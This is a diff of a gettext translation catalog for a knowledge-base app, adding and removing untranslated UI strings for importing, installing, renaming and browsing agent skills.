msgstr ""
-#: src/components/SkillsSidebarSection.tsx
+#: src/components/ImportSkillForm.tsx
msgid "Import"
msgstr ""
@@ -5056,6 +5435,30 @@ msgstr ""
msgid "Import as template"
msgstr ""
+#. placeholder {0}: result.error
+#: src/components/ImportSkillForm.tsx
+msgid "Import failed: {0}"
+msgstr ""
+
+#. placeholder {0}: result.name
+#: src/lib/skill-import-toast.ts
+msgid "Imported \"{0}\"."
+msgstr ""
+
+#: src/hooks/use-skill-origin.ts
+msgid "Imported {importedLabel}"
+msgstr ""
+
+#. placeholder {0}: result.name
+#. placeholder {1}: result.collisionRenamedFrom
+#: src/lib/skill-import-toast.ts
+msgid "Imported as \"{0}\" — the name \"{1}\" was taken."
+msgstr ""
+
+#: src/components/ImportSkillForm.tsx
+msgid "Importing"
+msgstr ""
+
#: src/components/SeedDialog.tsx
msgid "In a subfolder"
msgstr ""
@@ -5210,14 +5613,25 @@ msgstr ""
#: src/components/InstallInClaudeDesktopDialog.tsx
#: src/components/settings/IntegrationsSection.tsx
#: src/components/skill-actions.tsx
-#: src/components/SkillRow.tsx
+#: src/components/SkillPreviewTab.tsx
+#: src/components/SkillsSidebarSection.tsx
msgid "Install"
msgstr ""
+#. placeholder {0}: skill.name
+#: src/components/SkillsSidebarSection.tsx
+msgid "Install {0}"
+msgstr ""
+
#: src/components/handoff/OpenInAgentMenuItem.tsx
msgid "Install {brand} →"
msgstr ""
+#. placeholder {0}: res.error
+#: src/hooks/use-explore-preview-install.ts
+msgid "Install failed: {0}"
+msgstr ""
+
#. Dialog title — installing the OpenKnowledge skill into the Claude Desktop App
#: src/components/InstallInClaudeDesktopDialog.tsx
msgid "Install for Claude Chat & Cowork"
@@ -5227,6 +5641,14 @@ msgstr ""
msgid "Install for Claude Chat & Cowork (Desktop App)"
msgstr ""
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Install from {plugin}"
+msgstr ""
+
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Install from {source}"
+msgstr ""
+
#: src/components/InstallInClaudeDesktopDialog.tsx
msgid "Install handoff failed: {msg}"
msgstr ""
@@ -5235,16 +5657,28 @@ msgstr ""
msgid "Install in Claude Desktop"
msgstr ""
-#: src/components/SkillEditorActions.tsx
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Install into"
+msgstr ""
+
+#: src/components/ImportSkillForm.tsx
+msgid "Install it to your other editors (Claude Code, Cursor, Codex) to share it."
+msgstr ""
+
+#: src/components/SkillInstallMenu.tsx
msgid "Install on"
msgstr ""
-#: src/components/SkillEditorActions.tsx
-msgid "Install on all"
+#: src/components/SkillInstallMenu.tsx
+msgid "Install on all agents"
msgstr ""
-#: src/components/settings/SkillTargetsPicker.tsx
-msgid "Install skills into"
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Install selected"
+msgstr ""
+
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "Install skills"
msgstr ""
#: src/components/AuthModal.tsx
@@ -5254,8 +5688,6 @@ msgstr ""
#: src/components/settings/AiToolsSection.tsx
#: src/components/settings/ProjectAiToolsSection.tsx
#: src/components/SkillEditorActions.tsx
-#: src/components/SkillRow.tsx
-#: src/components/SkillStateBadge.tsx
msgid "Installed"
msgstr ""
@@ -5275,11 +5707,40 @@ msgstr ""
msgid "Installed {0} {1}"
msgstr ""
-#: src/components/SkillRow.tsx
-msgid "Installed into"
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Installed {imported} skills ({alreadyImported} were already present)"
+msgstr ""
+
+#. placeholder {0}: plugin ?? source
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Installed {imported} skills from {0}"
+msgstr ""
+
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Installed {imported}, but {failed} failed: {failedNames}"
+msgstr ""
+
+#. placeholder {0}: r.display
+#: src/components/SkillInstallMenu.tsx
+msgid "Installed at {0} — click to remove"
+msgstr ""
+
+#: src/components/SkillInstallMenu.tsx
+msgid "Installed at {path} — click to remove"
+msgstr ""
+
+#. placeholder {0}: hosts.map((h) => skillHostRootDir(h, skill.scope)).join(', ')
+#: src/components/SkillsSidebarSection.tsx
+msgid "Installed in {0}"
+msgstr ""
+
+#: src/components/SkillInstallMenu.tsx
+msgid "Installed in {label} — click to remove"
msgstr ""
#: src/components/InstallInClaudeDesktopDialog.tsx
+#: src/components/SkillPluginBundleDialog.tsx
+#: src/components/SkillPreviewTab.tsx
msgid "Installing"
msgstr ""
@@ -5287,6 +5748,10 @@ msgstr ""
msgid "Installing {agentName}…"
msgstr ""
+#: src/components/SkillDirectoryResult.tsx
+msgid "installs:"
+msgstr ""
+
#: src/components/handoff/OpenInAgentMenu.tsx
msgid "Instruction for the AI"
msgstr ""
@@ -5366,6 +5831,10 @@ msgstr ""
msgid "Keep a written record of how your product gets built. A home for proposing ideas, recording decisions, writing specs, and capturing what you learned after something broke."
msgstr ""
+#: src/components/SkillForkDialog.tsx
+msgid "Keep both"
+msgstr ""
+
#: src/components/AutoSyncOnboardingDialog.tsx
msgid "Keep disabled"
msgstr ""
@@ -5374,6 +5843,10 @@ msgstr ""
msgid "Keep file deleted"
msgstr ""
+#: src/components/SkillUpdateConflictDialog.tsx
+msgid "Keep mine"
+msgstr ""
+
#: src/components/DiffViewBoundary.tsx
msgid "Keep my version"
msgstr ""
@@ -5382,6 +5855,14 @@ msgstr ""
msgid "Keep original file"
msgstr ""
+#: src/components/SkillForkDialog.tsx
+msgid "Keep source"
+msgstr ""
+
+#: src/components/SkillRenameDialog.tsx
+msgid "Keep the name to 64 characters or fewer."
+msgstr ""
+
#: src/components/settings/SyncSection.tsx
msgid "Keep this project in sync with your git remote. Follow fetches updates without pushing; full sync pushes your commits too. Turning sync on requires confirmation."
msgstr ""
@@ -5390,6 +5871,11 @@ msgstr ""
msgid "Keep track of the people and companies you work with and the meetings you have with them. Good for remembering who someone is, how you know them, and what you last talked about."
msgstr ""
+#. placeholder {0}: toName.trim()
+#: src/components/SkillForkDialog.tsx
+msgid "Kept both — \"{0}\" is its own skill now"
+msgstr ""
+
#: src/components/settings/SearchSection.tsx
msgid "Key ending in {keyHint}"
msgstr ""
@@ -5446,7 +5932,10 @@ msgstr ""
msgid "Let us follow up by email"
msgstr ""
-#: src/components/SkillProperties.tsx
+#: src/components/SkillLevelSelect.tsx
+#: src/components/SkillPluginBundleDialog.tsx
+#: src/components/SkillPreviewTab.tsx
+#: src/components/SkillToolbarControls.tsx
msgid "Level"
msgstr ""
@@ -5520,8 +6009,11 @@ msgstr ""
msgid "Lists"
msgstr ""
+#: src/lib/skill-scope.ts
+msgid "Lives in this project (wherever the skill's folder is) and is shared with collaborators through git."
+msgstr ""
+
#: src/components/emoji-picker.tsx
-#: src/components/SkillsSidebarSection.tsx
#: src/editor/components/TagDialog.tsx
#: src/editor/extensions/InternalLinkPropPanel.tsx
#: src/editor/extensions/WikiLinkPropPanel.tsx
@@ -5542,6 +6034,10 @@ msgstr ""
msgid "Loading agents…"
msgstr ""
+#: src/components/SkillForkDialog.tsx
+msgid "Loading both versions"
+msgstr ""
+
#: src/components/ShareBranchSwitchDialog.tsx
msgid "Loading branch state"
msgstr ""
@@ -5604,6 +6100,10 @@ msgstr ""
msgid "Loading PDF"
msgstr ""
+#: src/components/SkillsBasePage.tsx
+msgid "Loading popular skills"
+msgstr ""
+
#: src/components/SeedDialog.tsx
msgid "Loading preview"
msgstr ""
@@ -5616,6 +6116,10 @@ msgstr ""
msgid "Loading settings"
msgstr ""
+#: src/components/SkillsSidebarSection.tsx
+msgid "Loading skills"
+msgstr ""
+
#: src/components/PackCardGrid.tsx
msgid "Loading starter packs"
msgstr ""
@@ -5692,29 +6196,28 @@ msgstr ""
msgid "Lost connection to \"{docName}\"."
msgstr ""
-#: src/components/settings/IntegrationsSection.tsx
-msgid "Make this knowledge base available as a Claude Skill."
+#: src/components/SkillInstallMenu.tsx
+msgid "make source"
msgstr ""
-#: src/components/FileTree.tsx
-msgid "Manage hidden files in Settings → Ignore patterns."
+#: src/components/settings/IntegrationsSection.tsx
+msgid "Make this knowledge base available as a Claude Skill."
msgstr ""
-#: src/components/settings/AccountSection.tsx
-msgid "Manage the GitHub account OpenKnowledge uses to browse and sync your repositories."
+#: src/components/SkillInstallMenu.tsx
+msgid "Make this the source — the skill's real folder moves here"
msgstr ""
-#: src/components/SkillRow.tsx
-msgid "Managed"
+#: src/components/FileTree.tsx
+msgid "Manage hidden files in Settings → Ignore patterns."
msgstr ""
-#: src/components/skill-actions.tsx
-#: src/components/SkillRow.tsx
-msgid "Managed by OpenKnowledge"
+#: src/components/SkillInstallMenu.tsx
+msgid "Manage skill folders"
msgstr ""
-#: src/components/SkillsSidebarSection.tsx
-msgid "Managed by OpenKnowledge (read-only)"
+#: src/components/settings/AccountSection.tsx
+msgid "Manage the GitHub account OpenKnowledge uses to browse and sync your repositories."
msgstr ""
#: src/components/settings/AiToolsSection.tsx
@@ -5766,6 +6269,10 @@ msgstr ""
msgid "MCP connections"
msgstr ""
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "MCP servers"
+msgstr ""
+
#: src/editor/slash-command/items.tsx
msgid "Medium section heading."
msgstr ""
@@ -5842,6 +6349,7 @@ msgstr ""
#: src/components/FolderOverview.tsx
#: src/components/settings/markdownlint-rule-browser.tsx
+#: src/components/SkillOriginInline.tsx
msgid "Modified"
msgstr ""
@@ -5865,11 +6373,23 @@ msgstr ""
msgid "More requests were blocked."
msgstr ""
+#: src/components/SkillToolbarControls.tsx
+msgid "More skill actions"
+msgstr ""
+
#. placeholder {0}: blocked.length
#: src/editor/components/PreviewBlockedNotice.tsx
msgid "More than {0} requests were blocked by the preview's security policy"
msgstr ""
+#: src/components/ExploreSkills.tsx
+msgid "Most installed"
+msgstr ""
+
+#: src/components/SkillScopeMoveDialog.tsx
+msgid "Move"
+msgstr ""
+
#: src/lib/keyboard-shortcuts.ts
msgid "Move between table cells"
msgstr ""
@@ -5882,6 +6402,10 @@ msgstr ""
msgid "Move down"
msgstr ""
+#: src/components/SkillFileRenameDialog.tsx
+msgid "Move or rename this file inside the skill — the path stays under references/ or scripts/."
+msgstr ""
+
#: src/components/FileTree.tsx
msgid "Move succeeded but the sidebar may be out of date — refresh to resync"
msgstr ""
@@ -5902,6 +6426,17 @@ msgstr ""
msgid "Move through visual-editor find results from the find field."
msgstr ""
+#. placeholder {0}: scopeLabels.global
+#. placeholder {0}: scopeLabels.project
+#: src/components/skill-actions.tsx
+msgid "Move to {0}"
+msgstr ""
+
+#. placeholder {0}: scopeLabels[toScope]
+#: src/components/SkillScopeMoveDialog.tsx
+msgid "Move to {0}?"
+msgstr ""
+
#: src/lib/keyboard-shortcuts.ts
msgid "Move to the next CodeMirror lint diagnostic."
msgstr ""
@@ -5927,14 +6462,10 @@ msgstr ""
msgid "Move up"
msgstr ""
-#. placeholder {0}: scopeLabels[next]
-#: src/components/ManagedArtifactProperties.tsx
-msgid "Moved \"{name}\" to {0}"
-msgstr ""
-
-#. placeholder {0}: scopeLabels[next]
-#: src/components/ManagedArtifactProperties.tsx
-msgid "Moved \"{name}\" to {0} ({skipped} binary file(s) not copied)"
+#. placeholder {0}: skill.name
+#. placeholder {1}: scopeLabels[toScope]
+#: src/hooks/use-move-skill-scope.ts
+msgid "Moved \"{0}\" to {1}"
msgstr ""
#. placeholder {0}: moved.label
@@ -5960,6 +6491,7 @@ msgstr ""
msgstr ""
+#: src/components/SkillBundlePreview.tsx
#: src/components/SkillProperties.tsx
#: src/components/TemplateProperties.tsx
msgid "name"
@@ -5982,6 +6514,7 @@ msgid "Name can’t be empty, \".\", \"..\", or contain / or \\"
msgstr ""
#: src/components/NewItemDialog.tsx
+#: src/components/NewSkillDialog.tsx
msgid "Name cannot be empty"
msgstr ""
@@ -6069,6 +6602,8 @@ msgstr ""
#: src/components/FileSidebar.tsx
#: src/components/FileTree.tsx
#: src/components/NewItemDialog.tsx
+#: src/components/skill-actions.tsx
+#: src/components/SkillsSidebarSection.tsx
#: src/lib/keyboard-shortcuts.ts
msgid "New file"
msgstr ""
@@ -6081,6 +6616,10 @@ msgstr ""
msgid "New file from template \"{displayTitle}\" ({fileName}) in the project root"
msgstr ""
+#: src/components/SkillEditorActions.tsx
+msgid "New file in this skill"
+msgstr ""
+
#: src/components/AppMenubar.tsx
#: src/components/command-palette-commands.ts
#: src/components/FileSidebar.tsx
@@ -6090,6 +6629,10 @@ msgstr ""
msgid "New folder"
msgstr ""
+#: src/components/SkillsBasePage.tsx
+msgid "New from scratch"
+msgstr ""
+
#: src/components/command-palette-commands.ts
#: src/components/FileSidebar.tsx
#: src/components/FileTree.tsx
@@ -6104,6 +6647,10 @@ msgstr ""
msgid "New ignore pattern"
msgstr ""
+#: src/components/SkillForkDialog.tsx
+msgid "New name for the {editor} version"
+msgstr ""
+
#: src/components/command-palette-commands.ts
#: src/components/ProjectSwitcher.tsx
msgid "New project"
@@ -6125,12 +6672,16 @@ msgstr ""
msgid "New session"
msgstr ""
+#: src/components/command-palette-commands.ts
#: src/components/NewSkillDialog.tsx
-#: src/components/settings/SkillsManagerSection.tsx
#: src/components/SkillsSidebarSection.tsx
msgid "New skill"
msgstr ""
+#: src/components/SkillFileCreateDialog.tsx
+msgid "New skill file"
+msgstr ""
+
#: src/components/EditorTabs.tsx
#: src/lib/keyboard-shortcuts.ts
msgid "New tab"
@@ -6169,6 +6720,7 @@ msgstr ""
msgid "Next change"
msgstr ""
+#: src/components/ProseFindBar.tsx
#: src/editor/find-replace/FindReplaceBar.tsx
msgid "Next match"
msgstr ""
@@ -6210,6 +6762,10 @@ msgstr ""
msgid "No agents match your search."
msgstr ""
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "No agents selected — the skills are saved but not installed anywhere."
+msgstr ""
+
#: src/components/FileSidebar.tsx
msgid "No AI agents installed"
msgstr ""
@@ -6242,10 +6798,6 @@ msgstr ""
msgid "No content changes in this version"
msgstr ""
-#: src/components/SkillRow.tsx
-msgid "No description yet — add one so agents know when to use this skill."
-msgstr ""
-
#: src/components/GraphPanel.tsx
msgid "No disconnected pages. Pages appear here only when they have no incoming and no outgoing graph edges."
msgstr ""
@@ -6274,6 +6826,10 @@ msgstr ""
msgid "No file or folder selected"
msgstr ""
+#: src/components/ImportSkillForm.tsx
+msgid "No file selected"
+msgstr ""
+
#: src/components/FileTree.tsx
msgid "No files yet."
msgstr ""
@@ -6291,10 +6847,6 @@ msgstr ""
msgid "no git repository here"
msgstr ""
-#: src/components/settings/SkillsManagerSection.tsx
-msgid "No global skills yet."
-msgstr ""
-
#: src/editor/wiki-link-suggestion/WikiLinkSuggestionMenu.tsx
msgid "No headings in {pageTarget}"
msgstr ""
@@ -6407,10 +6959,6 @@ msgstr ""
msgid "No problems found."
msgstr ""
-#: src/components/settings/SkillsManagerSection.tsx
-msgid "No project skills yet. Author one to teach agents a repeatable task scoped to this knowledge base."
-msgstr ""
-
#: src/components/settings/ProjectTemplatesSection.tsx
msgid "No project templates yet. Create one to make it available everywhere in this project. Folder-scoped templates live on each folder's overview page."
msgstr ""
@@ -6452,8 +7000,16 @@ msgstr ""
msgid "No settings found"
msgstr ""
-#: src/components/SkillsSidebarSection.tsx
-msgid "No skills yet."
+#: src/components/ImportSkillForm.tsx
+msgid "No skill found at that source. Import will report why if you continue."
+msgstr ""
+
+#: src/components/ExploreSkills.tsx
+msgid "No skills found."
+msgstr ""
+
+#: src/components/SkillRenameDialog.tsx
+msgid "No spaces — use <0>-</0> instead."
msgstr ""
#: src/components/PackCardGrid.tsx
@@ -6543,7 +7099,6 @@ msgstr ""
#: src/components/acp/ThreadView.tsx
#: src/components/ReportBugDialogBody.tsx
-#: src/components/SkillsSidebarSection.tsx
#: src/lib/install-server-drift-listener.ts
msgid "Not now"
msgstr ""
@@ -6632,6 +7187,12 @@ msgstr ""
msgid "OK Desktop"
msgstr ""
+#. placeholder {0}: f.expected ?? ''
+#. placeholder {0}: o.expected ?? ''
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "OK last set this folder to {0} — something outside OK changed it since. The state shown is what's on disk now; your next Symlink/Unlink wins."
+msgstr ""
+
#: src/components/ConnectingBanner.tsx
msgid "ok ui responded but server.lock has no port yet"
msgstr ""
@@ -6856,11 +7417,6 @@ msgstr ""
msgid "Open it there"
msgstr ""
-#. placeholder {0}: state.importable
-#: src/components/SkillsSidebarSection.tsx
-msgid "Open Knowledge can manage {0} editor skill(s) for this project. Import moves them into .ok/skills and replaces the .claude, .codex, etc. copies with symlinks — one place to edit, in sync everywhere. If those folders are committed to git, review the change first; symlinks can behave differently on some editors and on Windows."
-msgstr ""
-
#: src/components/GraphPanel.tsx
msgid "Open link"
msgstr ""
@@ -7036,6 +7592,10 @@ msgstr ""
msgid "Opens in a new tab"
msgstr ""
+#: src/components/SkillInstallMenu.tsx
+msgid "Opens Settings → Skills, where you link a whole folder into another so both agents read the same skills, and add custom skill roots."
+msgstr ""
+
#: src/components/empty-state/CreateView.tsx
#: src/components/PackCardGrid.tsx
msgid "or create a new file <0/>"
@@ -7114,6 +7674,10 @@ msgstr ""
msgid "Owner"
msgstr ""
+#: src/components/ImportSkillForm.tsx
+msgid "owner/repo, a git URL, or a local path"
+msgstr ""
+
#: src/editor/extensions/InternalLinkPropPanel.tsx
#: src/editor/link-path-suggestions.tsx
msgid "Page"
@@ -7188,6 +7752,15 @@ msgstr ""
msgid "Parse failed"
msgstr ""
+#. placeholder {0}: det.provenance.plugin
+#: src/components/SkillsSidebarSection.tsx
+msgid "Part of the {0} plugin — read-only; open it to edit a copy"
+msgstr ""
+
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "Part of the {plugin} plugin"
+msgstr ""
+
#: src/components/AppMenubar.tsx
msgid "Paste"
msgstr ""
@@ -7224,6 +7797,11 @@ msgstr ""
msgid "Paste your API key"
msgstr ""
+#: src/components/SkillFileCreateDialog.tsx
+#: src/components/SkillFileRenameDialog.tsx
+msgid "Path"
+msgstr ""
+
#: src/components/NewItemDialog.tsx
msgid "Path cannot contain \"..\""
msgstr ""
@@ -7308,6 +7886,10 @@ msgstr ""
msgid "Pick a built-in IDE palette. The dark IDE themes override the light/dark setting in Preferences."
msgstr ""
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "Pick a folder to merge INTO {display}. That folder becomes a symlink to this one, so its agent reads everything placed here. This folder stays real. Conflicting skills abort the merge."
+msgstr ""
+
#: src/components/PublishToGitHubDialog.tsx
msgid "Pick a name"
msgstr ""
@@ -7320,6 +7902,14 @@ msgstr ""
msgid "Pick the folder where you've cloned it."
msgstr ""
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Pick the skills to install. Each one lands as an editable skill you own; the plugin's hooks, commands, and MCP servers are not installed."
+msgstr ""
+
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Pick the skills to install. Each one lands as an editable skill you own."
+msgstr ""
+
#: src/components/acp/ThreadView.tsx
msgid "Pick up where you left off"
msgstr ""
@@ -7358,6 +7948,14 @@ msgstr ""
msgid "Point semantic search at any OpenAI-compatible embeddings endpoint — a self-hosted server or another provider. The API key above is for whichever endpoint you set here."
msgstr ""
+#: src/components/ExploreSkills.tsx
+msgid "Popular"
+msgstr ""
+
+#: src/components/SkillsBasePage.tsx
+msgid "Popular on skills.sh"
+msgstr ""
+
#: src/components/settings/SettingsDialogBody.tsx
#: src/components/settings/SettingsDialogShell.tsx
msgid "Preferences"
@@ -7395,6 +7993,7 @@ msgstr ""
msgid "Previous change"
msgstr ""
+#: src/components/ProseFindBar.tsx
#: src/editor/find-replace/FindReplaceBar.tsx
msgid "Previous match"
msgstr ""
@@ -7482,10 +8081,6 @@ msgstr ""
msgid "Project skill"
msgstr ""
-#: src/lib/skill-scope.ts
-msgid "Project Skill"
-msgstr ""
-
#: src/components/settings/ProjectTemplatesSection.tsx
msgid "Project templates"
msgstr ""
@@ -7640,6 +8235,10 @@ msgstr ""
msgid "Re-run the project audit"
msgstr ""
+#: src/components/ExploreSkills.tsx
+msgid "React"
+msgstr ""
+
#: src/components/empty-state/use-create-suggestions.ts
msgid "Read through this codebase and draft a technical spec for the most complex module: an overview, the architecture, key files, and open questions, all linked from a specs index page."
msgstr ""
@@ -7648,6 +8247,10 @@ msgstr ""
msgid "Read-only copy of a MirrorSource block from another doc. Edit at the source and it updates live."
msgstr ""
+#: src/components/SkillFileViewer.tsx
+msgid "Read-only file in the {name} skill"
+msgstr ""
+
#: src/components/SeedDialog.tsx
msgid "Ready-made folders and templates to get you started quickly."
msgstr ""
@@ -7712,6 +8315,10 @@ msgstr ""
msgid "Redo"
msgstr ""
+#: src/components/ExploreSkills.tsx
+msgid "Refactoring"
+msgstr ""
+
#. placeholder {0}: row.reference
#: src/components/BugReportHistory.tsx
msgid "Reference <0>{0}</0>"
@@ -7753,6 +8360,10 @@ msgstr ""
msgid "Release notes"
msgstr ""
+#: src/components/ExploreSkills.tsx
+msgid "Relevance"
+msgstr ""
+
#: src/components/AppMenubar.tsx
#: src/components/EditorActivityPool.tsx
#: src/components/settings/SettingsDialogErrorBoundary.tsx
@@ -7768,10 +8379,18 @@ msgstr ""
msgid "remote"
msgstr ""
+#: src/components/ImportSkillForm.tsx
+msgid "Remote"
+msgstr ""
+
#: src/components/NewWorktreeDialog.tsx
msgid "Remote branch <0>{remoteCheckoutRef}</0> will be checked out as a new local tracking branch <1>{trimmed}</1>, in its own window under <2>.ok/worktrees/</2>."
msgstr ""
+#: src/components/ImportSkillForm.tsx
+msgid "Remote skill source"
+msgstr ""
+
#: src/editor/extensions/InternalLinkPropPanel.tsx
#: src/editor/extensions/WikiLinkPropPanel.tsx
msgid "Remove"
@@ -7869,6 +8488,11 @@ msgstr ""
msgid "Remove this comment from the queue"
msgstr ""
+#. placeholder {0}: skill.name
+#: src/components/skill-actions.tsx
+msgid "Removed \"{0}\" from every other location — its source folder still loads"
+msgstr ""
+
#: src/lib/install-recent-removed-listener.ts
msgid "Removed \"{projectName}\" from recent projects. Its folder no longer exists."
msgstr ""
@@ -7890,6 +8514,7 @@ msgstr ""
#: src/components/command-palette-commands.ts
#: src/components/FileTree.tsx
#: src/components/skill-actions.tsx
+#: src/components/SkillFileRenameDialog.tsx
#: src/components/SkillRenameDialog.tsx
msgid "Rename"
msgstr ""
@@ -7907,6 +8532,15 @@ msgstr ""
msgid "Rename {label}"
msgstr ""
+#. placeholder {0}: result.error
+#: src/components/SkillFileRenameDialog.tsx
+msgid "Rename failed: {0}"
+msgstr ""
+
+#: src/components/SkillFileRenameDialog.tsx
+msgid "Rename file"
+msgstr ""
+
#: src/components/SkillRenameDialog.tsx
msgid "Rename skill"
msgstr ""
@@ -7925,14 +8559,20 @@ msgstr ""
msgid "Renamed {0} → {1}"
msgstr ""
-#: src/components/SkillRenameDialog.tsx
-msgid "Renamed to \"{trimmed}\""
+#: src/components/ManagedArtifactProperties.tsx
+msgid "Renamed to \"{next}\""
+msgstr ""
+
+#. placeholder {0}: result.to
+#: src/components/SkillFileRenameDialog.tsx
+msgid "Renamed to {0}"
msgstr ""
#: src/components/SkillRenameDialog.tsx
msgid "Renames the folder on disk and the id agents use to invoke it."
msgstr ""
+#: src/components/SkillFileRenameDialog.tsx
#: src/components/SkillRenameDialog.tsx
msgid "Renaming"
msgstr ""
@@ -7995,6 +8635,22 @@ msgstr ""
msgid "Replace the active match from the replace field."
msgstr ""
+#: src/components/SkillInstallMenu.tsx
+msgid "Replace the copy at {display} with a symlink to the skill's source folder? Nothing else moves."
+msgstr ""
+
+#: src/components/SkillInstallMenu.tsx
+msgid "Replace the symlink at {display} with an independent copy of the skill? Nothing else moves."
+msgstr ""
+
+#: src/components/SkillInstallMenu.tsx
+msgid "Replace these copies with symlinks to the source?"
+msgstr ""
+
+#: src/components/SkillInstallMenu.tsx
+msgid "Replace these symlinks with independent copies?"
+msgstr ""
+
#: src/components/BugReportHistory.tsx
#: src/components/command-palette-commands.ts
#: src/components/HelpPopover.tsx
@@ -8025,6 +8681,7 @@ msgstr ""
#: src/components/CloneDialog.tsx
#: src/components/share-metadata-rows.tsx
+#: src/components/SkillPreviewTab.tsx
#: src/components/SyncStatusBadge.tsx
msgid "Repository"
msgstr ""
@@ -8245,6 +8902,27 @@ msgstr ""
msgid "Reveal in Finder, No workspace"
msgstr ""
+#: src/components/SkillOriginInline.tsx
+msgid "Revert"
+msgstr ""
+
+#. placeholder {0}: result.error
+#: src/hooks/use-skill-origin.ts
+msgid "Revert failed: {0}"
+msgstr ""
+
+#: src/components/SkillOriginInline.tsx
+msgid "Revert to installed version"
+msgstr ""
+
+#: src/hooks/use-skill-origin.ts
+msgid "Reverted \"{name}\" to the installed version"
+msgstr ""
+
+#: src/components/SkillOriginInline.tsx
+msgid "Reverting"
+msgstr ""
+
#: src/components/SyncStatusBadge.tsx
msgid "Review conflicts"
msgstr ""
@@ -8330,6 +9008,18 @@ msgstr ""
msgid "Saved as <0>{slug}.md</0>"
msgstr ""
+#: src/components/ImportSkillForm.tsx
+msgid "Saved into this project's skills folder (e.g. <0>.agents/skills</0>), versioned alongside your project."
+msgstr ""
+
+#: src/components/ImportSkillForm.tsx
+msgid "Saved into your global skills folder (e.g. <0>~/.agents/skills</0>)."
+msgstr ""
+
+#: src/components/SkillProperties.tsx
+msgid "Saved to"
+msgstr ""
+
#: src/components/settings/SharingSection.tsx
#: src/components/SharingModeField.tsx
msgid "Saved with the project for your team."
@@ -8347,7 +9037,7 @@ msgstr ""
msgid "schema {deleteTarget}"
msgstr ""
-#: src/components/NewSkillDialog.tsx
+#: src/components/ImportSkillForm.tsx
#: src/components/PanelScopeHeader.tsx
msgid "Scope"
msgstr ""
@@ -8400,6 +9090,10 @@ msgstr ""
msgid "Search failed."
msgstr ""
+#: src/components/ExploreSkills.tsx
+msgid "Search failed. Try again."
+msgstr ""
+
#: src/lib/keyboard-shortcuts.ts
msgid "Search files, commands, projects, and AI handoff actions. With text selected in the visual editor, this chord adds a link instead."
msgstr ""
@@ -8449,6 +9143,10 @@ msgstr ""
msgid "Search settings not yet loaded — try again in a moment"
msgstr ""
+#: src/components/ExploreSkills.tsx
+msgid "Search skills"
+msgstr ""
+
#: src/components/NewItemDialog.tsx
msgid "Search templates"
msgstr ""
@@ -8462,6 +9160,7 @@ msgid "Search worktrees and branches"
msgstr ""
#: src/components/CommandPalette.tsx
+#: src/components/ExploreSkills.tsx
msgid "Searching"
msgstr ""
@@ -8490,6 +9189,10 @@ msgstr ""
msgid "Sections"
msgstr ""
+#: src/components/ExploreSkills.tsx
+msgid "Security"
+msgstr ""
+
#: src/editor/slash-command/component-items.tsx
msgid "See <0>#design-docs</0> for the latest specs."
msgstr ""
@@ -8511,6 +9214,7 @@ msgstr ""
msgid "Select a value"
msgstr ""
+#: src/components/SkillPluginBundleDialog.tsx
#: src/uninstall/UninstallPickerScreen.tsx
msgid "Select all"
msgstr ""
@@ -8804,10 +9508,6 @@ msgstr ""
msgid "Shared repositories"
msgstr ""
-#: src/components/settings/SkillsManagerSection.tsx
-msgid "Shared via git with everyone working on this project."
-msgstr ""
-
#: src/components/settings/ScopeBadge.tsx
msgid "Shared with everyone on this project — committed to config.yml via git."
msgstr ""
@@ -8952,12 +9652,6 @@ msgstr ""
msgid "Show sidebar"
msgstr ""
-#: src/components/AppMenubar.tsx
-#: src/components/command-palette-commands.ts
-#: src/components/FileSidebar.tsx
-msgid "Show skills section"
-msgstr ""
-
#: src/components/MermaidFileViewer.tsx
msgid "Show source"
msgstr ""
@@ -9011,10 +9705,6 @@ msgstr ""
msgid "Single page"
msgstr ""
-#: src/components/CreatedItemsList.tsx
-msgid "Skill"
-msgstr ""
-
#. placeholder {0}: skill.name
#: src/components/SkillDeleteDialog.tsx
msgid "skill \"{0}\""
@@ -9025,22 +9715,20 @@ msgstr ""
msgid "Skill \"{0}\" deleted"
msgstr ""
-#: src/components/NewSkillDialog.tsx
-msgid "Skill \"{trimmedName}\" created"
-msgstr ""
-
-#: src/components/SkillProperties.tsx
-msgid "Skill level"
+#: src/hooks/use-create-blank-skill.ts
+msgid "Skill \"{name}\" created"
msgstr ""
-#: src/components/ManagedArtifactProperties.tsx
-msgid "Skill renamed"
+#: src/components/ExploreSkills.tsx
+msgid "Skill discovery powered by <0>skills.sh</0>"
msgstr ""
+#: src/components/command-palette-commands.ts
+#: src/components/EditorTabs.tsx
#: src/components/FileSidebar.tsx
+#: src/components/FilesSkillsToggle.tsx
#: src/components/settings/SettingsDialogShell.tsx
#: src/components/settings/SkillsManagerSection.tsx
-#: src/components/SkillsSidebarSection.tsx
msgid "Skills"
msgstr ""
@@ -9048,8 +9736,22 @@ msgstr ""
msgid "Skills are now shared. Commit .ok/skills to share them with your team."
msgstr ""
+#: src/components/AppMenubar.tsx
+#: src/components/command-palette-commands.ts
+#: src/components/FileSidebar.tsx
+msgid "Skills section"
+msgstr ""
+
#: src/components/settings/SkillsManagerSection.tsx
-msgid "Skills teach agents repeatable tasks. Author them here; install a skill to project it into your editors' skill folders."
+msgid "Skills teach agents repeatable tasks. Author and manage them from the Skills section in the editor; each skill's install menu controls where it lives. These are this project's skill folders."
+msgstr ""
+
+#: src/components/SkillPreviewTab.tsx
+msgid "skills.sh"
+msgstr ""
+
+#: src/components/ExploreSkills.tsx
+msgid "skills.sh is unavailable; showing GitHub results (no install ranking)."
msgstr ""
#. Secondary button — dismisses the dialog without wiring any tools
@@ -9112,10 +9814,24 @@ msgstr ""
msgid "Something went wrong. Please try again."
msgstr ""
+#: src/components/ExploreSkills.tsx
+msgid "Sort by"
+msgstr ""
+
+#: src/components/ExploreSkills.tsx
+msgid "Sort skills"
+msgstr ""
+
+#: src/components/SkillInstallMenu.tsx
+msgid "source"
+msgstr ""
+
